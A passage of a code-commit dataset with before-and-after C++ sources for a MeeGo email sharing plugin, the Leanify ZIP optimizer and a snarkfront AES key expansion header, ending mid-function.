{"text":"<commit_before>\/*\n * Copyright 2011 Intel Corporation.\n *\n * This program is licensed under the terms and conditions of the\n * Apache License, version 2.0.  The full text of the Apache License is at \t\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\/\n\n#include \"emailsharingservice.h\"\n\n#include <QFile>\n#include <QProcess>\n\nEmailSharingService::EmailSharingService(MeeGoUXSharingServiceInfo serviceInfo,\n                                   QObject *parent) :\n    MeeGoUXSharingService(serviceInfo, parent),\n    mShareID(0)\n{\n    qDebug() << QString(\"Starting up EmailSharingService with mServiceInfo.serviceName of %1!\").arg(mServiceInfo.serviceName);\n}\n\nEmailSharingService::~EmailSharingService()\n{\n}\n\nbool EmailSharingService::CanShareType(const QString &sharetype)\n{\n    Q_UNUSED(sharetype);\n    \/\/Email can share *anything*!\n    return true;\n}\n\nbool EmailSharingService::CancelShare(int opid)\n{\n    Q_UNUSED(opid);\n    qDebug() << QString(\"Cannot cancel email sharing uploads!\");\n    return false;\n}\n\nuint EmailSharingService::GetCredsState()\n{\n    return true;\n}\n\nQString EmailSharingService::GetDisplayName()\n{\n    return tr(\"MeeGo Email\");\n}\n\nQString EmailSharingService::GetIconPath()\n{\n    return QString();\n}\n\nbool EmailSharingService::GetServiceAvailable()\n{\n    \/\/TODO: check if there's at least 1 acct in QMF?\n    return true;\n}\n\nQString EmailSharingService::GetServiceDesc()\n{\n    return tr(\"Sharing via Email\");\n}\n\nQString EmailSharingService::GetServiceName()\n{\n    return mServiceInfo.serviceName;\n}\n\nQString EmailSharingService::GetServiceStateText()\n{\n    return QString();\n}\n\nQString EmailSharingService::GetServiceType()\n{\n    return tr(\"Email\");\n}\n\nQString EmailSharingService::GetSettingsURI(const QString &platform,\n                                       const QString &product)\n{\n    \/\/TODO: put in actual settings launcher method once it exists...\n    return QString(\"exec echo \\\"Launching settings for service %1, on platform %2, product %3\\\"\").arg(mServiceInfo.serviceName, platform, product);\n}\n\nQString EmailSharingService::GetUIName(const QString &widgettype,\n                                  const QString &platform,\n                                  const QString &product,\n                                  const QString &sharetype,\n                                  uint sharecount)\n{\n\n    QString type;\n    QString mult;\n    if (widgettype == \"QML\") {\n        if (sharetype == MEEGO_SHARE_TYPE_IMAGE) {\n            type = \"image\";\n        } else if (sharetype == MEEGO_SHARE_TYPE_VIDEO) {\n            type = \"video\";\n        } else if (sharetype == MEEGO_SHARE_TYPE_AUDIO) {\n            type = \"audio\";\n        } else {\n            type = QString(sharetype).replace(QString(\"\/\"), QString(\"_\"));   \/\/Custom type support\n        }\n\n        \/\/Even though this plugin itself only provides a single standard email.qml,\n        \/\/we can allow platform\/product customization just by placing additional\n        \/\/qml files into the email directory...\n        mult = (sharecount > 1 ? \"multi\" : \"single\");\n        QString filename = QString(\"%1\/%2\/%3_%4_%5_%6_%7\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName, platform, product, type, mult);\n        \/\/If we don't have a file for this prodct\/platform\n        if (!QFile::exists(filename + \".qml\")) {\n            \/\/Try just this product\n            filename = QString(\"%1\/%2\/%3_%4_%5_%6\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName, platform, type, mult);\n            if (!QFile::exists(filename + \".qml\")) {\n                \/\/Try email_$type_$sharecount\n                filename = QString(\"%1\/%2\/%3_%4_%5\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName, type, mult);\n                if (!QFile::exists(filename + \".qml\")) {\n                    \/\/Try email_$platform\n                    filename = QString(\"%1\/%2\/%3_%4\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName, platform);\n                    if (!QFile::exists(filename + \".qml\")) {\n                        \/\/We *know* this one exists, as it's provided w\/ the plugin...\n                        filename = QString(\"%1\/%2\/%3\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName);\n                    }\n                }\n            }\n        }\n        return filename;\n\n    } else {\n        \/\/Handle other UI types here...\n        return QString();\n    }\n}\n\nint EmailSharingService::Share(const QString &sharetype, ArrayOfShareItemStruct items, QString &errmessage)\n{\n    \/\/We should never actually hit this, currently, as the qml file actually invokes the\n    \/\/command-line to bring up an email compose window w\/ attachments\n    qDebug() << \"Got to Share in meego-ux-sharing-email - shouldn't have! This is only a stub!\";\n    return -1;\n    if (!CanShareType(sharetype)) {\n        errmessage = QString(\"Invalid share type %1!\").arg(sharetype);\n\treturn -1;\n    }\n    int i = -1;\n    if (items.count() < 1) {\n        errmessage = \"No items to share!\";\n        return -1;\n    }\n\n    foreach(ShareItemStruct sis, items) {\n        qDebug() << QString(\"Received file %1!\").arg(sis.shareURI);\n        qDebug() << sis.params;\n\n        if (sharetype == MEEGO_SHARE_TYPE_IMAGE) {\n        } else if (sharetype == MEEGO_SHARE_TYPE_VIDEO) {\n        } else if (sharetype == MEEGO_SHARE_TYPE_AUDIO) {\n        }\n        if (i != -1) {\n            mShareOpsMap[mShareID].append(i);\n            mShareOpProgressMap[mShareID].append(QPair<int, int>(i, 0));\n        }\n    }\n\n    return mShareID++;\n}\n\n\n<commit_msg>Fix BMC#16089 - Fix return value of GetCredsState implementation Signed-off-by: James Ausmus <james.ausmus@intel.com><commit_after>\/*\n * Copyright 2011 Intel Corporation.\n *\n * This program is licensed under the terms and conditions of the\n * Apache License, version 2.0.  The full text of the Apache License is at \t\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\/\n\n#include \"emailsharingservice.h\"\n\n#include <QFile>\n#include <QProcess>\n\n#include <meegouxsharingcommon.h>\n\nEmailSharingService::EmailSharingService(MeeGoUXSharingServiceInfo serviceInfo,\n                                   QObject *parent) :\n    MeeGoUXSharingService(serviceInfo, parent),\n    mShareID(0)\n{\n    qDebug() << QString(\"Starting up EmailSharingService with mServiceInfo.serviceName of %1!\").arg(mServiceInfo.serviceName);\n}\n\nEmailSharingService::~EmailSharingService()\n{\n}\n\nbool EmailSharingService::CanShareType(const QString &sharetype)\n{\n    Q_UNUSED(sharetype);\n    \/\/Email can share *anything*!\n    return true;\n}\n\nbool EmailSharingService::CancelShare(int opid)\n{\n    Q_UNUSED(opid);\n    qDebug() << QString(\"Cannot cancel email sharing uploads!\");\n    return false;\n}\n\nuint EmailSharingService::GetCredsState()\n{\n    return CredsStateValid;\n}\n\nQString EmailSharingService::GetDisplayName()\n{\n    return tr(\"MeeGo Email\");\n}\n\nQString EmailSharingService::GetIconPath()\n{\n    return QString();\n}\n\nbool EmailSharingService::GetServiceAvailable()\n{\n    \/\/TODO: check if there's at least 1 acct in QMF?\n    return true;\n}\n\nQString EmailSharingService::GetServiceDesc()\n{\n    return tr(\"Sharing via Email\");\n}\n\nQString EmailSharingService::GetServiceName()\n{\n    return mServiceInfo.serviceName;\n}\n\nQString EmailSharingService::GetServiceStateText()\n{\n    return QString();\n}\n\nQString EmailSharingService::GetServiceType()\n{\n    return tr(\"Email\");\n}\n\nQString EmailSharingService::GetSettingsURI(const QString &platform,\n                                       const QString &product)\n{\n    \/\/TODO: put in actual settings launcher method once it exists...\n    return QString(\"exec echo \\\"Launching settings for service %1, on platform %2, product %3\\\"\").arg(mServiceInfo.serviceName, platform, product);\n}\n\nQString EmailSharingService::GetUIName(const QString &widgettype,\n                                  const QString &platform,\n                                  const QString &product,\n                                  const QString &sharetype,\n                                  uint sharecount)\n{\n\n    QString type;\n    QString mult;\n    if (widgettype == \"QML\") {\n        if (sharetype == MEEGO_SHARE_TYPE_IMAGE) {\n            type = \"image\";\n        } else if (sharetype == MEEGO_SHARE_TYPE_VIDEO) {\n            type = \"video\";\n        } else if (sharetype == MEEGO_SHARE_TYPE_AUDIO) {\n            type = \"audio\";\n        } else {\n            type = QString(sharetype).replace(QString(\"\/\"), QString(\"_\"));   \/\/Custom type support\n        }\n\n        \/\/Even though this plugin itself only provides a single standard email.qml,\n        \/\/we can allow platform\/product customization just by placing additional\n        \/\/qml files into the email directory...\n        mult = (sharecount > 1 ? \"multi\" : \"single\");\n        QString filename = QString(\"%1\/%2\/%3_%4_%5_%6_%7\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName, platform, product, type, mult);\n        \/\/If we don't have a file for this prodct\/platform\n        if (!QFile::exists(filename + \".qml\")) {\n            \/\/Try just this product\n            filename = QString(\"%1\/%2\/%3_%4_%5_%6\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName, platform, type, mult);\n            if (!QFile::exists(filename + \".qml\")) {\n                \/\/Try email_$type_$sharecount\n                filename = QString(\"%1\/%2\/%3_%4_%5\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName, type, mult);\n                if (!QFile::exists(filename + \".qml\")) {\n                    \/\/Try email_$platform\n                    filename = QString(\"%1\/%2\/%3_%4\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName, platform);\n                    if (!QFile::exists(filename + \".qml\")) {\n                        \/\/We *know* this one exists, as it's provided w\/ the plugin...\n                        filename = QString(\"%1\/%2\/%3\").arg(QML_TARGET_BASE_PATH, \"email\", mServiceInfo.serviceName);\n                    }\n                }\n            }\n        }\n        return filename;\n\n    } else {\n        \/\/Handle other UI types here...\n        return QString();\n    }\n}\n\nint EmailSharingService::Share(const QString &sharetype, ArrayOfShareItemStruct items, QString &errmessage)\n{\n    \/\/We should never actually hit this, currently, as the qml file actually invokes the\n    \/\/command-line to bring up an email compose window w\/ attachments\n    qDebug() << \"Got to Share in meego-ux-sharing-email - shouldn't have! This is only a stub!\";\n    return -1;\n    if (!CanShareType(sharetype)) {\n        errmessage = QString(\"Invalid share type %1!\").arg(sharetype);\n\treturn -1;\n    }\n    int i = -1;\n    if (items.count() < 1) {\n        errmessage = \"No items to share!\";\n        return -1;\n    }\n\n    foreach(ShareItemStruct sis, items) {\n        qDebug() << QString(\"Received file %1!\").arg(sis.shareURI);\n        qDebug() << sis.params;\n\n        if (sharetype == MEEGO_SHARE_TYPE_IMAGE) {\n        } else if (sharetype == MEEGO_SHARE_TYPE_VIDEO) {\n        } else if (sharetype == MEEGO_SHARE_TYPE_AUDIO) {\n        }\n        if (i != -1) {\n            mShareOpsMap[mShareID].append(i);\n            mShareOpProgressMap[mShareID].append(QPair<int, int>(i, 0));\n        }\n    }\n\n    return mShareID++;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"zip.h\"\n\n#include <algorithm>    \/\/ std::search\n#include <cstdint>\n#include <iostream>\n#include <string>\n#include <vector>\n\n#include \"..\/lib\/miniz\/miniz.h\"\n\n#include \"..\/leanify.h\"\n\n\nconst unsigned char Zip::header_magic[] = { 0x50, 0x4B, 0x03, 0x04 };\n\nsize_t Zip::Leanify(size_t size_leanified \/*= 0*\/)\n{\n    depth++;\n    char *p_read = fp;\n    fp -= size_leanified;\n    char *p_write = fp;\n\n    std::vector<uint32_t> vector_local_header_offset;\n    \/\/ Local file header\n    while (memcmp(p_read, header_magic, sizeof(header_magic)) == 0)\n    {\n        vector_local_header_offset.push_back(p_write - fp);\n\n        uint16_t filename_length = *(uint16_t *)(p_read + 26);\n\n        size_t header_size = 30 + filename_length;\n        \/\/ move header\n        if (p_read - p_write)\n        {\n            memmove(p_write, p_read, header_size);\n        }\n\n        \/\/ if Extra field length is not 0, then skip it and set it to 0\n        if (*(uint16_t *)(p_write + 28))\n        {\n            p_read += *(uint16_t *)(p_write + 28);\n            *(uint16_t *)(p_write + 28) = 0;\n        }\n\n        uint32_t *crc = (uint32_t *)(p_write + 14);\n        uint32_t *compressed_size = crc + 1;\n        uint32_t *uncompressed_size = compressed_size + 1;\n\n        uint32_t original_compressed_size = *compressed_size;\n\n        uint16_t flag = *(uint16_t *)(p_write + 6);\n        uint16_t compression_method = *(uint16_t *)(p_write + 8);\n\n        std::string filename(p_write + 30, filename_length);\n        \/\/ do not output filename if it is a directory\n        if ((original_compressed_size || compression_method || flag & 8) && depth <= max_depth)\n        {\n            \/\/ output filename\n            for (int i = 1; i < depth; i++)\n            {\n                std::cout << \"-> \";\n            }\n            std::cout << filename << std::endl;\n        }\n\n\n        \/\/ From Wikipedia:\n        \/\/ If bit 3 (0x08) of the general-purpose flags field is set,\n        \/\/ then the CRC-32 and file sizes are not known when the header is written.\n        \/\/ The fields in the local header are filled with zero,\n        \/\/ and the CRC-32 and size are appended in a 12-byte structure\n        \/\/ (optionally preceded by a 4-byte signature) immediately after the compressed data\n        if (flag & 8)\n        {\n            \/\/ set this bit to 0\n            *(uint16_t *)(p_write + 6) &= ~8;\n\n            \/\/ data descriptor signature\n            const unsigned char dd_sign[] = { 0x50, 0x4B, 0x07, 0x08 };\n            \/\/ search for signature\n            char *dd = p_read + header_size;\n            while (*(uint32_t *)(dd + 8) != dd - p_read - header_size)\n            {\n                dd = std::search(dd + 1, fp + size + size_leanified, dd_sign, dd_sign + 4);\n                if (dd == fp + size + size_leanified)\n                {\n                    std::cerr << \"data descriptor signature not found!\" << std::endl;\n                    \/\/ abort\n                    \/\/ zip does not have 4-byte signature preceded\n                    return size;\n                }\n            }\n            *crc = *(uint32_t *)(dd + 4);\n            *compressed_size = original_compressed_size = *(uint32_t *)(dd + 8);\n            *uncompressed_size = *(uint32_t *)(dd + 12);\n        }\n\n        \/\/ if compression method is not deflate or fast mode\n        \/\/ then only Leanify embedded file if the method is store\n        \/\/ otherwise just memmove the compressed part\n        if (compression_method != 8 || is_fast)\n        {\n            if (compression_method == 0 && depth <= max_depth)\n            {\n                \/\/ method is store\n                if (original_compressed_size)\n                {\n                    uint32_t new_size = LeanifyFile(p_read + header_size, original_compressed_size, p_read - p_write, filename);\n                    p_read += header_size + original_compressed_size;\n                    *compressed_size = *uncompressed_size = new_size;\n                    *crc = mz_crc32(0, (unsigned char *)p_write + header_size, new_size);\n                }\n                else\n                {\n                    p_read += header_size;\n                }\n            }\n            else\n            {\n                \/\/ other method, move it\n                memmove(p_write + header_size, p_read + header_size, original_compressed_size);\n                p_read += header_size + original_compressed_size;\n\n            }\n            p_write += header_size + *compressed_size;\n\n        }\n        else\n        {\n            \/\/ the method is deflate, uncompress it and recompress with zopfli\n\n            p_read += header_size;\n            p_write += header_size;\n\n            if (*uncompressed_size)\n            {\n                \/\/ uncompress\n                size_t s = 0;\n                unsigned char *buffer = (unsigned char *)tinfl_decompress_mem_to_heap(p_read, original_compressed_size, &s, 0);\n\n                if (!buffer ||\n                    s != *uncompressed_size ||\n                    *crc != mz_crc32(0, buffer, *uncompressed_size))\n                {\n                    std::cerr << \"ZIP file corrupted!\" << std::endl;\n                    mz_free(buffer);\n                    memmove(p_write, p_read, original_compressed_size);\n                    p_read += original_compressed_size;\n                    p_write += original_compressed_size;\n                    continue;\n                }\n\n                \/\/ Leanify uncompressed file\n                uint32_t new_uncompressed_size = s;\n                \/\/ workaround of TinyXML2 not supporting xml:space=\"preserve\"\n                if (filename_length != 17 || filename != \"word\/document.xml\")\n                {\n                    new_uncompressed_size = LeanifyFile(buffer, s, 0, filename);\n                }\n\n                \/\/ recompress\n                unsigned char bp = 0, *out = NULL;\n                size_t outsize = 0;\n                ZopfliDeflate(&zopfli_options, 2, 1, buffer, new_uncompressed_size, &bp, &out, &outsize);\n\n\n                if (outsize < original_compressed_size)\n                {\n                    p_read += original_compressed_size;\n                    *crc = mz_crc32(0, buffer, new_uncompressed_size);\n                    *compressed_size = outsize;\n                    *uncompressed_size = new_uncompressed_size;\n                    memcpy(p_write, out, outsize);\n                    p_write += outsize;\n                }\n                else\n                {\n                    memmove(p_write, p_read, original_compressed_size);\n                    p_write += original_compressed_size;\n                    p_read += original_compressed_size;\n                }\n                mz_free(buffer);\n                delete[] out;\n            }\n            else\n            {\n                memmove(p_write, p_read, original_compressed_size);\n                p_write += original_compressed_size;\n                p_read += original_compressed_size;\n            }\n        }\n\n        \/\/ we don't use data descriptor, so that can save more bytes (16 per file)\n        if (flag & 8)\n        {\n            p_read += 16;\n        }\n    }\n\n    char *central_directory = p_write;\n    \/\/ Central directory file header\n    const unsigned char cd_header_magic[] = { 0x50, 0x4B, 0x01, 0x02 };\n    int i = 0;\n    while (memcmp(p_read, cd_header_magic, sizeof(cd_header_magic)) == 0)\n    {\n\n        int header_size = 46 + *(uint16_t *)(p_read + 28);\n        \/\/ move header\n        if (p_read - p_write)\n        {\n            memmove(p_write, p_read, header_size);\n        }\n\n        \/\/ set bit 3 of General purpose bit flag to 0\n        *(uint16_t *)(p_write + 8) &= ~8;\n\n        \/\/ if Extra field length is not 0, then skip it and set it to 0\n        if (*(uint16_t *)(p_write + 30))\n        {\n            p_read += *(uint16_t *)(p_write + 30);\n            *(uint16_t *)(p_write + 30) = 0;\n        }\n\n        \/\/ if File comment length is not 0, then skip it and set it to 0\n        if (*(uint16_t *)(p_write + 32))\n        {\n            p_read += *(uint16_t *)(p_write + 32);\n            *(uint16_t *)(p_write + 32) = 0;\n        }\n\n        char *local_header = fp + vector_local_header_offset[i];\n\n        \/\/ copy new CRC-32, Compressed size, Uncompressed size\n        \/\/ from Local file header to Central directory file header\n        memcpy(p_write + 16, local_header + 14, 12);\n\n        \/\/ new Local file header offset\n        *(uint32_t *)(p_write + 42) = vector_local_header_offset[i];\n\n        i++;\n\n        p_read += header_size;\n        p_write += header_size;\n    }\n\n    \/\/ End of central directory record\n    const unsigned char eocd_header_magic[] = { 0x50, 0x4B, 0x05, 0x06 };\n    if (memcmp(p_read, eocd_header_magic, sizeof(eocd_header_magic)))\n    {\n        std::cerr << \"EOCD not found!\" << std::endl;\n\n    }\n    if (p_read - p_write)\n    {\n        memmove(p_write, p_read, 12);\n    }\n    \/\/ central directory size\n    *(uint32_t *)(p_write + 12) = p_write - central_directory;\n    \/\/ central directory offset\n    *(uint32_t *)(p_write + 16) = central_directory - fp;\n    \/\/ set comment length to 0\n    *(uint16_t *)(p_write + 20) = 0;\n\n    \/\/ 22 is the length of EOCD\n    return p_write + 22 - fp;\n}\n\n<commit_msg>ZIP: switch to store if deflate makes file larger #16<commit_after>#include \"zip.h\"\n\n#include <algorithm>    \/\/ std::search\n#include <cstdint>\n#include <iostream>\n#include <string>\n#include <vector>\n\n#include \"..\/lib\/miniz\/miniz.h\"\n\n#include \"..\/leanify.h\"\n\n\nconst unsigned char Zip::header_magic[] = { 0x50, 0x4B, 0x03, 0x04 };\n\nsize_t Zip::Leanify(size_t size_leanified \/*= 0*\/)\n{\n    depth++;\n    char *p_read = fp;\n    fp -= size_leanified;\n    char *p_write = fp;\n\n    std::vector<uint32_t> vector_local_header_offset;\n    \/\/ Local file header\n    while (memcmp(p_read, header_magic, sizeof(header_magic)) == 0)\n    {\n        vector_local_header_offset.push_back(p_write - fp);\n\n        uint16_t filename_length = *(uint16_t *)(p_read + 26);\n\n        size_t header_size = 30 + filename_length;\n        \/\/ move header\n        if (p_read - p_write)\n        {\n            memmove(p_write, p_read, header_size);\n        }\n\n        \/\/ if Extra field length is not 0, then skip it and set it to 0\n        if (*(uint16_t *)(p_write + 28))\n        {\n            p_read += *(uint16_t *)(p_write + 28);\n            *(uint16_t *)(p_write + 28) = 0;\n        }\n\n        uint32_t *crc = (uint32_t *)(p_write + 14);\n        uint32_t *compressed_size = crc + 1;\n        uint32_t *uncompressed_size = compressed_size + 1;\n\n        uint32_t orig_comp_size = *compressed_size;\n\n        uint16_t flag = *(uint16_t *)(p_write + 6);\n        uint16_t *compression_method = (uint16_t *)(p_write + 8);\n\n        std::string filename(p_write + 30, filename_length);\n        \/\/ do not output filename if it is a directory\n        if ((orig_comp_size || *compression_method || flag & 8) && depth <= max_depth)\n        {\n            \/\/ output filename\n            for (int i = 1; i < depth; i++)\n            {\n                std::cout << \"-> \";\n            }\n            std::cout << filename << std::endl;\n        }\n\n\n        \/\/ From Wikipedia:\n        \/\/ If bit 3 (0x08) of the general-purpose flags field is set,\n        \/\/ then the CRC-32 and file sizes are not known when the header is written.\n        \/\/ The fields in the local header are filled with zero,\n        \/\/ and the CRC-32 and size are appended in a 12-byte structure\n        \/\/ (optionally preceded by a 4-byte signature) immediately after the compressed data\n        if (flag & 8)\n        {\n            \/\/ set this bit to 0\n            *(uint16_t *)(p_write + 6) &= ~8;\n\n            \/\/ data descriptor signature\n            const unsigned char dd_sign[] = { 0x50, 0x4B, 0x07, 0x08 };\n            \/\/ search for signature\n            char *dd = p_read + header_size;\n            while (*(uint32_t *)(dd + 8) != dd - p_read - header_size)\n            {\n                dd = std::search(dd + 1, fp + size + size_leanified, dd_sign, dd_sign + 4);\n                if (dd == fp + size + size_leanified)\n                {\n                    std::cerr << \"data descriptor signature not found!\" << std::endl;\n                    \/\/ abort\n                    \/\/ zip does not have 4-byte signature preceded\n                    return size;\n                }\n            }\n            *crc = *(uint32_t *)(dd + 4);\n            *compressed_size = orig_comp_size = *(uint32_t *)(dd + 8);\n            *uncompressed_size = *(uint32_t *)(dd + 12);\n        }\n\n        \/\/ if compression method is not deflate or fast mode\n        \/\/ then only Leanify embedded file if the method is store\n        \/\/ otherwise just memmove the compressed part\n        if (*compression_method != 8 || is_fast)\n        {\n            if (*compression_method == 0 && depth <= max_depth)\n            {\n                \/\/ method is store\n                if (orig_comp_size)\n                {\n                    uint32_t new_size = LeanifyFile(p_read + header_size, orig_comp_size, p_read - p_write, filename);\n                    p_read += header_size + orig_comp_size;\n                    *compressed_size = *uncompressed_size = new_size;\n                    *crc = mz_crc32(0, (unsigned char *)p_write + header_size, new_size);\n                }\n                else\n                {\n                    p_read += header_size;\n                }\n            }\n            else\n            {\n                \/\/ unsupported compression method, move it\n                memmove(p_write + header_size, p_read + header_size, orig_comp_size);\n                p_read += header_size + orig_comp_size;\n\n            }\n            p_write += header_size + *compressed_size;\n\n        }\n        else\n        {\n            \/\/ the method is deflate, uncompress it and recompress with zopfli\n\n            p_read += header_size;\n            p_write += header_size;\n\n            if (*uncompressed_size)\n            {\n                \/\/ uncompress\n                size_t s = 0;\n                unsigned char *buffer = (unsigned char *)tinfl_decompress_mem_to_heap(p_read, orig_comp_size, &s, 0);\n\n                if (!buffer ||\n                    s != *uncompressed_size ||\n                    *crc != mz_crc32(0, buffer, *uncompressed_size))\n                {\n                    std::cerr << \"ZIP file corrupted!\" << std::endl;\n                    mz_free(buffer);\n                    memmove(p_write, p_read, orig_comp_size);\n                    p_read += orig_comp_size;\n                    p_write += orig_comp_size;\n                    continue;\n                }\n\n                \/\/ Leanify uncompressed file\n                uint32_t new_uncomp_size = s;\n                \/\/ workaround of TinyXML2 not supporting xml:space=\"preserve\"\n                if (filename_length != 17 || filename != \"word\/document.xml\")\n                {\n                    new_uncomp_size = LeanifyFile(buffer, s, 0, filename);\n                }\n\n                \/\/ recompress\n                unsigned char bp = 0, *out = NULL;\n                size_t new_comp_size = 0;\n                ZopfliDeflate(&zopfli_options, 2, 1, buffer, new_uncomp_size, &bp, &out, &new_comp_size);\n\n                \/\/ switch to store if deflate makes file larger\n                if (new_uncomp_size <= new_comp_size && new_uncomp_size <= orig_comp_size)\n                {\n                    *compression_method = 0;\n                    *crc = mz_crc32(0, buffer, new_uncomp_size);\n                    *compressed_size = new_uncomp_size;\n                    *uncompressed_size = new_uncomp_size;\n                    memcpy(p_write, buffer, new_uncomp_size);\n                    p_write += new_uncomp_size;\n                }\n                else if (new_comp_size < orig_comp_size)\n                {\n                    *crc = mz_crc32(0, buffer, new_uncomp_size);\n                    *compressed_size = new_comp_size;\n                    *uncompressed_size = new_uncomp_size;\n                    memcpy(p_write, out, new_comp_size);\n                    p_write += new_comp_size;\n                }\n                else\n                {\n                    memmove(p_write, p_read, orig_comp_size);\n                    p_write += orig_comp_size;\n                }\n                p_read += orig_comp_size;\n\n                mz_free(buffer);\n                delete[] out;\n            }\n            else\n            {\n                *compression_method = 0;\n                *compressed_size = 0;\n                p_read += orig_comp_size;\n            }\n        }\n\n        \/\/ we don't use data descriptor, so that can save more bytes (16 per file)\n        if (flag & 8)\n        {\n            p_read += 16;\n        }\n    }\n\n    char *central_directory = p_write;\n    \/\/ Central directory file header\n    const unsigned char cd_header_magic[] = { 0x50, 0x4B, 0x01, 0x02 };\n    int i = 0;\n    while (memcmp(p_read, cd_header_magic, sizeof(cd_header_magic)) == 0)\n    {\n\n        int header_size = 46 + *(uint16_t *)(p_read + 28);\n        \/\/ move header\n        if (p_read - p_write)\n        {\n            memmove(p_write, p_read, header_size);\n        }\n\n        \/\/ set bit 3 of General purpose bit flag to 0\n        *(uint16_t *)(p_write + 8) &= ~8;\n\n        \/\/ if Extra field length is not 0, then skip it and set it to 0\n        if (*(uint16_t *)(p_write + 30))\n        {\n            p_read += *(uint16_t *)(p_write + 30);\n            *(uint16_t *)(p_write + 30) = 0;\n        }\n\n        \/\/ if File comment length is not 0, then skip it and set it to 0\n        if (*(uint16_t *)(p_write + 32))\n        {\n            p_read += *(uint16_t *)(p_write + 32);\n            *(uint16_t *)(p_write + 32) = 0;\n        }\n\n        char *local_header = fp + vector_local_header_offset[i];\n\n        \/\/ copy new CRC-32, Compressed size, Uncompressed size\n        \/\/ from Local file header to Central directory file header\n        memcpy(p_write + 16, local_header + 14, 12);\n\n        \/\/ update compression method\n        *(uint16_t *)(p_write + 10) = *(uint16_t *)(local_header + 8);\n\n        \/\/ new Local file header offset\n        *(uint32_t *)(p_write + 42) = vector_local_header_offset[i];\n\n        i++;\n\n        p_read += header_size;\n        p_write += header_size;\n    }\n\n    \/\/ End of central directory record\n    const unsigned char eocd_header_magic[] = { 0x50, 0x4B, 0x05, 0x06 };\n    if (memcmp(p_read, eocd_header_magic, sizeof(eocd_header_magic)))\n    {\n        std::cerr << \"EOCD not found!\" << std::endl;\n\n    }\n    if (p_read - p_write)\n    {\n        memmove(p_write, p_read, 12);\n    }\n    \/\/ central directory size\n    *(uint32_t *)(p_write + 12) = p_write - central_directory;\n    \/\/ central directory offset\n    *(uint32_t *)(p_write + 16) = central_directory - fp;\n    \/\/ set comment length to 0\n    *(uint16_t *)(p_write + 20) = 0;\n\n    \/\/ 22 is the length of EOCD\n    return p_write + 22 - fp;\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Minor change to FIXME comment<commit_after><|endoftext|>"}
{"text":"<commit_before>#ifndef _SNARKFRONT_AES_KEY_EXPANSION_HPP_\n#define _SNARKFRONT_AES_KEY_EXPANSION_HPP_\n\n#include <array>\n#include <cstdint>\n\n#include <snarkfront\/AES_SBox.hpp>\n\nnamespace snarkfront {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ FIPS PUB 197, NIST November 2001\n\/\/\n\/\/ Algorithm     Key Length    Block Size   Number of Rounds\n\/\/               (Nk words)    (Nb words)   (Nr)\n\/\/\n\/\/ AES-128       4             4            10\n\/\/ AES-192       6             4            12\n\/\/ AES-256       8             4            14\n\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 5.2 Key Expansion\n\/\/\n\ntemplate <typename VAR, typename T, typename U, typename BITWISE>\nclass AES_KeyExpansion\n{\npublic:\n    typedef VAR VarType;\n\n    typedef std::array<VAR, 16> Key128Type;\n    typedef std::array<VAR, 24> Key192Type;\n    typedef std::array<VAR, 32> Key256Type;\n\n    typedef std::array<VAR, 176> Schedule128Type;\n    typedef std::array<VAR, 208> Schedule192Type;\n    typedef std::array<VAR, 240> Schedule256Type;\n\n    AES_KeyExpansion() = default;\n\n    \/\/ AES-128\n    void operator() (const std::array<VAR, 16>& key,\n                     std::array<VAR, 176>& w) const {\n        expand(key, w);\n    }\n\n    \/\/ AES-192\n    void operator() (const std::array<VAR, 24>& key,\n                     std::array<VAR, 208>& w) const {\n        expand(key, w);\n    }\n\n    \/\/ AES-256\n    void operator() (const std::array<VAR, 32>& key,\n                     std::array<VAR, 240>& w) const {\n        expand(key, w);\n    }\n\nprivate:\n    \/\/ AES-128 max (4(Nr + 1) - 1)\/Nk - 1 is 10 - 1 = 9\n    \/\/ AES-192 max (4(Nr + 1) - 1)\/Nk - 1 is 8 - 1 = 7\n    \/\/ AES-256 max (4(Nr + 1) - 1)\/Nk - 1 is 7 - 1 = 6\n    std::uint8_t rcon(const std::size_t i) const {\n        if (i < 8) {\n            \/\/ i = 0 is x^0 = 0x01 = 1 << 0\n            \/\/ i = 1 is x^1 = 0x02 = 1 << 1\n            \/\/ i = 2 is x^2 = 0x04 = 1 << 2\n            \/\/ i = 3 is x^3 = 0x08 = 1 << 3\n            \/\/ i = 4 is x^4 = 0x10 = 1 << 4\n            \/\/ i = 5 is x^5 = 0x20 = 1 << 5\n            \/\/ i = 6 is x^6 = 0x40 = 1 << 6\n            \/\/ i = 7 is x^7 = 0x80 = 1 << 7\n            return 1 << i;\n        } else if (8 == i) {\n            \/\/ i = 8 is x^4 + x^3 + x + 1 = 0x1b\n            return 0x1b;\n        } else if (9 == i) {\n            \/\/ i = 9 is x^5 + x^4 + x^2 + x = 0x36\n            return 0x36;\n        } else {\n            return 0; \/\/ should never happen\n        }\n    }\n\n    \/\/ AES-128 key size 16 (Nk = 4) with key schedule size 176 (Nr = 10)\n    \/\/ AES-192 key size 24 (Nk = 6) with key schedule size 208 (Nr = 12)\n    \/\/ AES-256 key size 32 (Nk = 8) with key schedule size 240 (Nr = 14)\n    template <std::size_t KSZ, std::size_t WSZ>\n    void expand(const std::array<VAR, KSZ>& 